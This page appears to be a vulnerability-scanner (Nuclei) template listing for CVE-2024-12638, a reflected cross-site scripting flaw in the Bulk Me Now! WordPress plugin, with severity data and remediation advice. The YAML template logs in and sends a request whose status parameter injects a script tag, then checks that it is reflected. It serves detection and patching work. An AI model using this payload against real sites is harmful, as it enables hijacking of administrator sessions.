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Bulk Me Now! Plugin <= 2.0 - Cross-Site Scripting

CVE-2024-12638
Verified

Description

Bulk Me Now! WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Severity

High

CVSS Score

7.1

Exploit Probability

2%

Affected Product

bulk_me_now

Published Date

February 7, 2026

Template Author

sourabh-sahu

CVE-2024-12638.yaml
id: CVE-2024-12638

info:
  name: Bulk Me Now! Plugin <= 2.0 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Bulk Me Now! WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed or implement input sanitization and output escaping.
  reference:
    - https://wpscan.com/vulnerability/a6f5b0fe-00a0-4e30-aec6-87882c035beb/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12638
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-12638
    cwe-id: CWE-79
    epss-score: 0.02218
    epss-percentile: 0.84678
    cpe: cpe:2.3:a:ombu:bulk_me_now\!:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ombu
    product: bulk_me_now
  tags: cve,cve2024,bulk-me-now,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=bulkmenow-list&status=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "><script>alert(document.domain)</script><script>", "Unread Messages")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and
# digest: 4a0a0047304502205d6b6763fb2c8262261d38a4eeadcf194a8e9c75c3463b2fd91cfebe4e89261b022100e2dfa4b192c65ec2e434308310f2af4e1558abd699087f66cd5d2f1e57d4a650:922c64590222798bb761d5b6d8e72950
7.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
CVE ID:
cve-2024-12638
CWE ID:
cwe-79

References

https://wpscan.com/vulnerability/a6f5b0fe-00a0-4e30-aec6-87882c035beb/https://nvd.nist.gov/vuln/detail/CVE-2024-12638

Remediation Steps

Update to the latest version of the plugin where the vulnerability is fixed or implement input sanitization and output escaping.